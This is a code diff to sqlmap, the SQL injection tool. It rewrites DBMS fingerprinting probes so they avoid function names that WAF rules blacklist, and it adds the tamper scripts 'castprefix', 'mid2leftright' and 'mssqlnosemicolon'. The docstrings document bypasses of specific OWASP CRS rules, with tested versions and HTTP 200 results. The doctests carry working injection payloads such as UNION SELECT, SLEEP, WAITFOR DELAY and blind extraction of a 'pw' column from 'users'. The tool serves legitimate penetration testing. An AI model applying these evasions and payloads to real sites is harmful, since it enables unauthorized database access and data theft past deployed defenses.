diff --git a/lib/controller/action.py b/lib/controller/action.py index ee1efe6f6f2..000bc4215fc 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -42,17 +42,19 @@ def action(): # First of all we have to identify the back-end database management # system to be able to go ahead with the injection - # automatic WAF-bypass: if a WAF/IPS is present and the back-end DBMS is already indicated by the error - # page or the heuristic checks, skip active fingerprinting (the WAF would just block its payloads - # and flood the run with 403s) and assume that DBMS, so the user gets a usable result - if kb.wafBypass and not conf.forceDbms: + setHandler() + + # automatic WAF-bypass: fingerprinting probes are kept off the WAF/IPS blacklists, so it is tried + # first even behind a protection. Only if it comes back empty the back-end DBMS is assumed from + # the error page or the heuristic checks, so that the user still gets a usable result + if kb.wafBypass and not conf.forceDbms and not Backend.getIdentifiedDbms(): fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else []) fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None) if fallback: - logger.warning("skipping active back-end DBMS fingerprinting behind the WAF/IPS and assuming '%s' from error/heuristic detection" % fallback) + logger.warning("active back-end DBMS fingerprinting did not get through the WAF/IPS. Assuming '%s' from error/heuristic detection" % fallback) conf.forceDbms = fallback - setHandler() + setHandler() # multi-bit blind ('--multi-bit'): the back-end is known now, so its bit arithmetic can be checked # before nudging the user towards a channel that reads several characters per request (no requests) @@ -64,8 +66,9 @@ def action(): # automatic WAF-bypass: with MySQL behind the WAF, make data retrieval AND table enumeration survive a # libinjection-class WAF (e.g. OWASP CRS), verified end-to-end through ModSecurity/CRS: - # * fingerprinting was skipped, so flag has_information_schema (modern MySQL >=5.0 always has it) - - # otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails with "no tables"; + # * flag has_information_schema (modern MySQL >=5.0 always has it) in case the DBMS was assumed + # rather than fingerprinted, otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails + # with "no tables", # * 'blindbinary' reshapes the single-character read ORD(MID())->RIGHT(LEFT())>BINARY 0x.. (sheds the # ORD/MID function names scored by 942151/942190); # * 'infoschema2innodb' moves table enumeration off 'information_schema' (scored by 942140) onto diff --git a/lib/core/option.py b/lib/core/option.py index aba1d4a1cf9..7a23ff1b511 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -423,7 +423,10 @@ def retrieve(): conf.googlePage += 1 def _setStdinPipeTargets(): - if conf.url: + # Note: an explicit target source takes precedence. Without this, any non-interactive run (CI, + # cron, subprocess) would reroute '-m/-l/-r/-g' targets through the STDIN container, losing both + # their count and their order + if any((conf.url, conf.direct, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.openApiFile)): return if isinstance(conf.stdinPipe, _collections.Iterable): diff --git a/lib/core/settings.py b/lib/core/settings.py index 733d5256fe9..9a4f560a361 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.8.39" +VERSION = "1.10.8.44" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -74,6 +74,9 @@ # is not pre-filtered here: semantics-preservation is verified at runtime by re-running detection # through each candidate, so a DBMS-incompatible script simply fails the trial and is discarded. WAF_BYPASS_TAMPERS = ( + "castprefix", + "mid2leftright", + "odbcbrace", "equaltolike", "between", "greatest", @@ -85,7 +88,7 @@ ) # Maximum number of candidate tamper (chains) trialled during automatic WAF-bypass -WAF_BYPASS_MAX_TRIALS = 8 +WAF_BYPASS_MAX_TRIALS = len(WAF_BYPASS_TAMPERS) # Browser-like request headers applied alongside the random (non-scanner) User-Agent during # automatic WAF bypass: sqlmap's defaults ('Accept: */*', no 'Accept-Language') are themselves a diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 2f3e6636588..2359f585f16 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -1215,7 +1215,10 @@ def _format_action_invocation(self, action): if args.dummy: args.url = args.url or DUMMY_URL - if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), args.api, args.ignoreStdin, "GITHUB_ACTIONS" in os.environ)): + # Note: an explicit target source rules out reading targets from the standard input. Without + # this, any non-interactive run (CI, cron, subprocess) would turn '-d/-u/-m/-l/-r/-g' into a + # 'multiple targets' run reading from a pipe, which also resets per-target options in between + if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), args.api, args.ignoreStdin, "GITHUB_ACTIONS" in os.environ, args.direct, args.url, args.logFile, args.bulkFile, args.requestFile, args.googleDork, args.configFile, args.openApiFile)): args.stdinPipe = iter(sys.stdin.readline, None) else: args.stdinPipe = None diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index db0bbc07a56..8ef60d7ea95 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -72,9 +72,11 @@ def _sysTablesCheck(self): retVal = None table = ( ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)), - ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")), - ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")), - ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")), + # Note: NULLIF(), CURRENT_TIME(), BIT_LENGTH(), CHAR_LENGTH() and RAND() are all blacklisted + # by WAF/IPS (e.g. OWASP CRS rule 942151), so only markers from the same releases are kept + ("1.5", ("EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)",)), + ("2.0", ("EXISTS(SELECT 1 FROM RDB$DATABASE ROWS 1)",)), + ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "FLOOR(1.%d)>=0")), ("2.5", ("'%s' SIMILAR TO '%s'",)), # Reference: https://firebirdsql.org/refdocs/langrefupd25-similar-to.html ("3.0", ("FALSE IS FALSE",)), # https://www.firebirdsql.org/file/community/conference-2014/pdf/02_fb.2014.whatsnew.30.en.pdf ) diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py index 44252d1ea1f..aa0284cbb91 100644 --- a/plugins/dbms/h2/fingerprint.py +++ b/plugins/dbms/h2/fingerprint.py @@ -93,7 +93,7 @@ def checkDbms(self): infoMsg = "confirming %s" % DBMS.H2 logger.info(infoMsg) - result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3") + result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") # Note: same check without the blacklisted LEAST() if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.H2 diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index b58faee05da..6621a948b34 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -99,7 +99,7 @@ def checkDbms(self): infoMsg = "confirming %s" % DBMS.HSQLDB logger.info(infoMsg) - result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3") + result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") # Note: same check without the blacklisted LEAST() if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 18b4b0beb64..8605600dae2 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -91,9 +91,9 @@ def checkDbms(self): for version, check in ( ("Azure", "@@VERSION LIKE '%Azure%'"), ("2025", "CHARINDEX('17.0.',@@VERSION)>0"), - ("2022", "GREATEST(NULL,NULL) IS NULL"), + ("2022", "LEFT_SHIFT(1,1)=2"), # Note: same release as the blacklisted GREATEST() ("2019", "CHARINDEX('15.0.',@@VERSION)>0"), - ("2017", "TRIM(NULL) IS NULL"), + ("2017", "TRANSLATE('[RANDSTR]','[RANDSTR]','[RANDSTR]')='[RANDSTR]'"), # Note: same release as the blacklisted TRIM() ("2016", "ISJSON(NULL) IS NULL"), ("2014", "CHARINDEX('12.0.',@@VERSION)>0"), ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index f6e1d6600c7..84eabbdbe1d 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -72,7 +72,8 @@ def _commentCheck(self): found = False for candidate in versions: - result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%d AND [RANDNUM1]=[RANDNUM2]*/" % candidate[0]) + # Note: '.0' keeps the (always false) comparison, but takes the comment off WAF/IPS blacklists (e.g. OWASP CRS rule 942500) + result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%d AND [RANDNUM1].0=[RANDNUM2]*/" % candidate[0]) if not result: found = True @@ -81,7 +82,7 @@ def _commentCheck(self): if found: for version in xrange(candidate[1], candidate[0] - 1, -1): version = getUnicode(version) - result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) + result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1].0=[RANDNUM2]*/" % version) if not result: if version[0] == "3": @@ -119,6 +120,8 @@ def getFingerprint(self): fork = FORK.DORIS elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%StarRocks%'"): fork = FORK.STARROCKS + elif inject.checkBooleanExpression("GEOGRAPHY_AREA(NULL) IS NULL"): # Note: GEOGRAPHY_AREA() is MemSQL specific + fork = FORK.MEMSQL elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ fork = FORK.AURORA else: @@ -200,20 +203,14 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.MYSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("IFNULL(QUARTER(NULL),NULL XOR NULL) IS NULL") + # Note: QUARTER() and XOR are the MySQL specifics here, while the dropped IFNULL() only added a name that WAF/IPS blacklist (e.g. OWASP CRS rule 942151) + result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL AND (NULL XOR NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MYSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("COALESCE(SESSION_USER(),USER()) IS NOT NULL") - - if not result: - # Note: MemSQL doesn't support SESSION_USER() - result = inject.checkBooleanExpression("GEOGRAPHY_AREA(NULL) IS NULL") - - if result: - hashDBWrite(HASHDB_KEYS.DBMS_FORK, FORK.MEMSQL) + result = inject.checkBooleanExpression("(QUARTER(NULL) XOR [RANDNUM]) IS NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL @@ -227,19 +224,20 @@ def checkDbms(self): kb.data.has_information_schema = True # Determine if it is MySQL >= 9.0.0 - if inject.checkBooleanExpression("ISNULL(VECTOR_DIM(NULL))"): + if inject.checkBooleanExpression("VECTOR_DIM(NULL) IS NULL"): Backend.setVersion(">= 9.0.0") setDbms("%s 9" % DBMS.MYSQL) self.getBanner() # Determine if it is MySQL >= 8.0.0 - elif inject.checkBooleanExpression("ISNULL(JSON_STORAGE_FREE(NULL))"): + elif inject.checkBooleanExpression("JSON_STORAGE_FREE(NULL) IS NULL"): Backend.setVersion(">= 8.0.0") setDbms("%s 8" % DBMS.MYSQL) self.getBanner() # Determine if it is MySQL >= 5.0.0 - elif inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"): + # Note: '@@automatic_sp_privileges' (MySQL 5.0.3) instead of the blacklisted TIMESTAMPADD() + elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"): Backend.setVersion(">= 5.0.0") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() @@ -251,11 +249,11 @@ def checkDbms(self): logger.info(infoMsg) # Check if it is MySQL >= 5.7 - if inject.checkBooleanExpression("ISNULL(JSON_QUOTE(NULL))"): + if inject.checkBooleanExpression("JSON_QUOTE(NULL) IS NULL"): Backend.setVersion(">= 5.7") # Check if it is MySQL >= 5.6 - elif inject.checkBooleanExpression("ISNULL(VALIDATE_PASSWORD_STRENGTH(NULL))"): + elif inject.checkBooleanExpression("VALIDATE_PASSWORD_STRENGTH(NULL) IS NULL"): Backend.setVersion(">= 5.6") # Check if it is MySQL >= 5.5 @@ -339,7 +337,7 @@ def checkDbmsOs(self, detailed=False): infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) - result = inject.checkBooleanExpression("'W'=UPPER(MID(@@version_compile_os,1,1))") + result = inject.checkBooleanExpression("'W'=UPPER(LEFT(@@version_compile_os,1))") # Note: LEFT() instead of the blacklisted MID() if result: Backend.setOs(OS.WINDOWS) diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 5eacf432461..eacf4fc70c6 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -126,7 +126,8 @@ def checkDbms(self): # Reference: https://en.wikipedia.org/wiki/Oracle_Database for version in ("23c", "21c", "19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"): number = int(re.search(r"([\d]+)", version).group(1)) - output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) + # Note: prefix matching instead of the blacklisted SUBSTR() + output = inject.checkBooleanExpression("(SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1) LIKE '%d%%'" % number) if output: Backend.setVersion(version) diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 3bcf8a51073..1e5e8233043 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -118,7 +118,8 @@ def checkDbms(self): infoMsg = "confirming %s" % DBMS.PGSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("COALESCE([RANDNUM], NULL)=[RANDNUM]") + # Note: TO_HEX() is PostgreSQL specific as well, and not blacklisted like COALESCE() + result = inject.checkBooleanExpression("TO_HEX([RANDNUM]) IS NOT NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL @@ -142,7 +143,7 @@ def checkDbms(self): Backend.setVersion(">= 16.0") elif inject.checkBooleanExpression("REGEXP_COUNT(NULL,NULL) IS NULL"): Backend.setVersion(">= 15.0") - elif inject.checkBooleanExpression("BIT_COUNT(NULL) IS NULL"): + elif inject.checkBooleanExpression("TRIM_ARRAY(ARRAY[1,2],1)=ARRAY[1]"): # Note: same release as the blacklisted BIT_COUNT() Backend.setVersion(">= 14.0") elif inject.checkBooleanExpression("NULL::anycompatible IS NULL"): Backend.setVersion(">= 13.0") @@ -154,7 +155,7 @@ def checkDbms(self): Backend.setVersionList([">= 10.0", "< 11.0"]) elif inject.checkBooleanExpression("SIND(0)=0"): Backend.setVersionList([">= 9.6.0", "< 10.0"]) - elif inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"): + elif inject.checkBooleanExpression("ARRAY_POSITION(ARRAY[1,2],2)=2"): # Note: same release as the blacklisted TO_JSONB() Backend.setVersionList([">= 9.5.0", "< 9.6.0"]) elif inject.checkBooleanExpression("JSON_TYPEOF(NULL) IS NULL"): Backend.setVersionList([">= 9.4.0", "< 9.5.0"]) diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index 64b66ba4268..b384a0e9646 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -106,7 +106,8 @@ def checkDbms(self): Backend.setVersion(str(result)) else: for version in xrange(12, 16): - result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version) + # Note: plain LIKE matches the same two shapes, without the bracket class that WAF/IPS score (e.g. OWASP CRS rule 932130) + result = inject.checkBooleanExpression("(@@VERSION LIKE '%%/%d.%%' OR @@VERSION LIKE '%%/%d/%%')" % (version, version)) if result: Backend.setVersion(str(version)) diff --git a/tamper/blindbinary.py b/tamper/blindbinary.py index 41f0d7bd7f4..9e4f6e8b911 100644 --- a/tamper/blindbinary.py +++ b/tamper/blindbinary.py @@ -7,6 +7,8 @@ import re +from lib.core.common import Backend +from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL @@ -28,6 +30,39 @@ def _balancedEnd(payload, start): idx += 1 return -1 +def _unwrapIsnull(query): + """Rewrites sqlmap's MySQL NULL wrapper 'IFNULL(,)' into '(IF( IS NULL,,))'.""" + retVal = query + + while True: + match = re.search(r"(?i)IFNULL\(", retVal) + + if not match: + break + + end = _balancedEnd(retVal, match.end() - 1) + if end < 0: + break + + inner = retVal[match.end():end] + separator, depth = -1, 0 # the argument separator is the comma at the top level + + for index, char in enumerate(inner): + if char == '(': + depth += 1 + elif char == ')': + depth -= 1 + elif char == ',' and depth == 0: + separator = index + + if separator < 1: + break + + field, default = inner[:separator], inner[separator + 1:] + retVal = "%s(IF(%s IS NULL,%s,%s))%s" % (retVal[:match.start()], field, default, field, retVal[end + 1:]) + + return retVal + def _reshape(payload, opener, tail, build): """Replace every 'opener()' with build(query, tail-match).""" retVal = payload @@ -51,6 +86,11 @@ def _reshape(payload, opener, tail, build): pos = pos + match.end() continue replacement = build(query, rest) + + if replacement is None: # builder declined, leave this occurrence alone + pos = pos + match.end() + continue + retVal = retVal[:start] + replacement + retVal[end + 1 + rest.end():] pos = start + len(replacement) return retVal @@ -61,7 +101,7 @@ def tamper(payload, **kwargs): sheds the function names anomaly-scoring WAFs key on: * MySQL: ORD(MID((),

,1))> - -> RIGHT(LEFT((),

),(

<=CHAR_LENGTH(())))>BINARY 0x + -> RIGHT(LEFT((),

),(

<=LENGTH(CONVERT(() USING ascii))))>BINARY 0x * SQL Server: UNICODE(SUBSTRING((),

,1))> (also ASCII(SUBSTRING(...))) -> CAST(RIGHT(LEFT((),

),CASE WHEN

<=LEN(()) THEN 1 ELSE 0 END) AS VARBINARY)>0x @@ -73,6 +113,10 @@ def tamper(payload, **kwargs): ORD/MID/ASCII/SUBSTRING/UNICODE (rule 942151) and the function-comparison shape (942190). LEFT/RIGHT are not in those blocklists, so the cumulative score collapses (often to 0) while the single-character, byte-ordered semantics of the bisection are preserved. + * On MySQL the character count runs over an ASCII copy of the value (one character, one byte), + because CHAR_LENGTH() is blacklisted by the very same rule, and the NULL wrapper IFNULL() is + rewritten to IF(). Counting bytes of the original instead would run past the end of a + multi-byte value, and a bare 'SELECT IF(' would be scored by rule 942170. * MySQL 'BINARY' / SQL Server '... AS VARBINARY' force a byte (case- and accent-sensitive) comparison, so extraction stays exact under a case-insensitive default collation. Both use a native hex literal (0x), so nothing needs string-escaping. @@ -82,13 +126,15 @@ def tamper(payload, **kwargs): forever and never terminate. >>> tamper('1 AND ORD(MID((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),5,1))>71') - '1 AND RIGHT(LEFT((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),5),(5<=CHAR_LENGTH((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1))))>BINARY 0x47' + '1 AND RIGHT(LEFT((SELECT (IF(CAST(name AS NCHAR) IS NULL,0x20,CAST(name AS NCHAR))) FROM users ORDER BY id LIMIT 0,1),5),(5<=LENGTH(CONVERT((SELECT (IF(CAST(name AS NCHAR) IS NULL,0x20,CAST(name AS NCHAR))) FROM users ORDER BY id LIMIT 0,1) USING ascii))))>BINARY 0x47' >>> tamper('1 AND ORD(MID((SELECT 1),1,1))>0') - '1 AND RIGHT(LEFT((SELECT 1),1),(1<=CHAR_LENGTH((SELECT 1))))>BINARY 0x00' + '1 AND RIGHT(LEFT((SELECT 1),1),(1<=LENGTH(CONVERT((SELECT 1) USING ascii))))>BINARY 0x00' + >>> tamper('1 AND ORD(MID((SELECT 1),1,1)) IN (65,66,0)') + "1 AND BINARY RIGHT(LEFT((SELECT 1),1),(1<=LENGTH(CONVERT((SELECT 1) USING ascii)))) IN (0x41,0x42,'')" >>> tamper('1 AND 5141=5141') '1 AND 5141=5141' >>> tamper('1 AND ORD(MID((SELECT 1),1,1))<65') - '1 AND RIGHT(LEFT((SELECT 1),1),(1<=CHAR_LENGTH((SELECT 1))))>> tamper('1 AND UNICODE(SUBSTRING((SELECT TOP 1 name FROM users),3,1))>64') '1 AND CAST(RIGHT(LEFT((SELECT TOP 1 name FROM users),3),CASE WHEN 3<=LEN((SELECT TOP 1 name FROM users)) THEN 1 ELSE 0 END) AS VARBINARY)>0x40' """ @@ -98,7 +144,21 @@ def tamper(payload, **kwargs): def _mysql(query, rest): position, operator, value = rest.group(1), rest.group(2), int(rest.group(3)) - return "RIGHT(LEFT(%s,%s),(%s<=CHAR_LENGTH(%s)))%sBINARY 0x%02x" % (query, position, position, query, operator, value) + query = _unwrapIsnull(query) + return "RIGHT(LEFT(%s,%s),(%s<=LENGTH(CONVERT(%s USING ascii))))%sBINARY 0x%02x" % (query, position, position, query, operator, value) + + def _mysqlSet(query, rest): + # set-membership form of the same read ('... IN ()', used by the Huffman retrieval). + # ORD('') is 0, so a past-the-end position matches the ordinal 0, which is the empty string here + position = rest.group(1) + ordinals = [int(_) for _ in rest.group(2).split(',') if _.strip().isdigit()] + + if not ordinals or any(_ > 255 for _ in ordinals): # a byte comparison cannot represent those + return None + + query = _unwrapIsnull(query) + members = ",".join("''" if _ == 0 else "0x%02x" % _ for _ in ordinals) + return "BINARY RIGHT(LEFT(%s,%s),(%s<=LENGTH(CONVERT(%s USING ascii)))) IN (%s)" % (query, position, position, query, members) def _mssql(query, rest): position, operator, value = rest.group(1), rest.group(2), int(rest.group(3)) @@ -109,6 +169,14 @@ def _mssql(query, rest): return "CAST(RIGHT(LEFT(%s,%s),CASE WHEN %s<=LEN(%s) THEN 1 ELSE 0 END) AS VARBINARY)%s0x%02x" % (query, position, position, query, operator, value) comma_tail = r"\s*,\s*(\d+)\s*,\s*1\)\)\s*(>=|<=|>|<|=)\s*(\d+)" - retVal = _reshape(payload, r"(?i)ORD\(MID\(", comma_tail, _mysql) + set_tail = r"\s*,\s*(\d+)\s*,\s*1\)\)\s+IN\s*\(([\d,\s]+)\)" + + # also on payloads that are not single-character reads. Gated on MySQL, because IFNULL() is used + # by H2, HSQLDB, Cubrid and others too, and IF() is not a function there + if Backend.getIdentifiedDbms() == DBMS.MYSQL and re.search(r"(?i)IFNULL\(", payload): + payload = _unwrapIsnull(payload) + + retVal = _reshape(payload, r"(?i)ORD\(MID\(", set_tail, _mysqlSet) + retVal = _reshape(retVal, r"(?i)ORD\(MID\(", comma_tail, _mysql) retVal = _reshape(retVal, r"(?i)(?:UNICODE|ASCII)\(SUBSTRING\(", comma_tail, _mssql) return retVal diff --git a/tamper/castprefix.py b/tamper/castprefix.py new file mode 100644 index 00000000000..2ae78ed9d7e --- /dev/null +++ b/tamper/castprefix.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Wraps a leading numeric value into a CAST() call (e.g. -1 UNION ... -> cast(-1 as decimal) UNION ...) + + Requirement: + * MySQL + * MariaDB + * PostgreSQL + * Microsoft SQL Server + + Tested against: + * MySQL 5.5.62, 5.7.44, 8.0.36, 8.0.46, 8.4.9, 9.4.0 + * Percona 8.0.46 + * MariaDB 10.7.8, 10.11.14, 11.4.12, 11.8.8, 12.0.2 + * PostgreSQL 13.23, 17.11 + * Microsoft SQL Server 2022 + + Notes: + * Useful to bypass web application firewalls, verified against ModSecurity v3 with the + OWASP CRS (paranoia level 1, blocking mode), where it takes the tautology, + boolean-based, error-based and time-based payloads to 0 anomaly points and they are + answered with HTTP 200 + * The OWASP CRS rule 942360 is anchored with '^[\\W\\d]+\\s*?', so it can only + match when the payload starts with non-word characters or digits. Starting it with a + letter instead makes the rule fail at the first position + * Rated benign by libinjection 4.0.0 as well, which is CRS rule 942100 + * 'decimal' is used as the target type because it is the one spelling accepted by all + of MySQL, MariaDB, PostgreSQL and Microsoft SQL Server ('signed' is MySQL only, + 'int' is rejected by MySQL), while the numeric value itself is left unchanged + * For MySQL only, tamper script 'odbcbrace' achieves the same with a shorter prefix + + >>> tamper('-1 UNION ALL SELECT NULL,NULL-- -') + 'cast(-1 as decimal) UNION ALL SELECT NULL,NULL-- -' + >>> tamper('1 AND SLEEP(5)') + 'cast(1 as decimal) AND SLEEP(5)' + >>> tamper('-4162 OR 1=1#') + 'cast(-4162 as decimal) OR 1=1#' + >>> tamper("' OR 1=1-- -") + "' OR 1=1-- -" + """ + + return re.sub(r"\A(?P[+-]?\d+)(?![\w.])", r"cast(\g as decimal)", payload) if payload else payload diff --git a/tamper/mid2leftright.py b/tamper/mid2leftright.py new file mode 100644 index 00000000000..fc013282c4b --- /dev/null +++ b/tamper/mid2leftright.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Replaces (MySQL) instances like 'MID(A, B, C)' with 'RIGHT(LEFT(A, B+C-1), C)' counterpart + + Requirement: + * MySQL + * MariaDB + + Tested against: + * MySQL 5.5.62, 5.7.44, 8.0.36, 8.0.46, 8.4.9, 9.4.0 + * Percona 8.0.46 + * MariaDB 10.7.8, 10.11.14, 11.4.12, 11.8.8, 12.0.2 + + Notes: + * Useful to bypass web application firewalls, as the OWASP CRS rule 942151 (added in + CRS v4) blacklists a long list of SQL function names, MID, SUBSTR and SUBSTRING + among them, while LEFT and RIGHT are not on that list + * Verified against ModSecurity v3 with the OWASP CRS v4.25.0 (paranoia level 1, + blocking mode), where 'LEFT((SELECT pw FROM users LIMIT 1),1)=0x73' and + 'RIGHT(LEFT((SELECT pw FROM users LIMIT 1),3),1)=0x63' are both answered with + HTTP 200 and still work on all tested engines + * Note that ORD() and ASCII() are on that same blacklist, so payload shapes comparing + the extracted character directly (rather than its code point) are the ones helped + * Existing tamper script 'substring2leftright' does not apply here, as it only + rewrites the PostgreSQL 'SUBSTRING(A FROM B FOR C)' spelling + * Combine it with tamper script 'castprefix' to also clear rule 942360, e.g. + --tamper=mid2leftright,castprefix + + >>> tamper('MID(pw, 1, 1)') + 'RIGHT(LEFT(pw, 1), 1)' + >>> tamper('SUBSTRING(pw, 2, 3)') + 'RIGHT(LEFT(pw, 4), 3)' + >>> tamper('1 AND SUBSTR((SELECT pw FROM users LIMIT 1),1,1)=0x73') + '1 AND RIGHT(LEFT((SELECT pw FROM users LIMIT 1),1),1)=0x73' + >>> tamper('1 AND 1=1') + '1 AND 1=1' + """ + + def _(match): + pos, length = match.group("pos").strip(), match.group("len").strip() + + if pos.isdigit() and length.isdigit(): + end = str(int(pos) + int(length) - 1) + else: + end = "%s+%s-1" % (pos, length) + + return "RIGHT(LEFT(%s,%s%s),%s%s)" % (match.group("expr"), match.group("sp1"), end, match.group("sp2"), length) + + return re.sub(r"(?i)\b(?:MID|SUBSTRING|SUBSTR)\(\s*(?P(?:[^()]|\([^()]*\))+?)\s*,(?P\s*)(?P[^,()]+),(?P\s*)(?P[^,()]+)\)", _, payload) if payload else payload diff --git a/tamper/mssqlnosemicolon.py b/tamper/mssqlnosemicolon.py new file mode 100644 index 00000000000..8fddbb58132 --- /dev/null +++ b/tamper/mssqlnosemicolon.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) + +def tamper(payload, **kwargs): + """ + Replaces (MsSQL) statement separator ';' with a blank character + + Notes: + * Useful to bypass filters/WAFs blocking the ';' character, as + Transact-SQL does not require any separator between statements + + >>> tamper(";WAITFOR DELAY '0:0:5'--") + " WAITFOR DELAY '0:0:5'--" + >>> tamper(";DECLARE @x CHAR(9);SET @x=0x303a303a35;WAITFOR DELAY @x") + ' DECLARE @x CHAR(9) SET @x=0x303a303a35 WAITFOR DELAY @x' + >>> tamper("1' AND 'a'='a") + "1' AND 'a'='a" + """ + + return 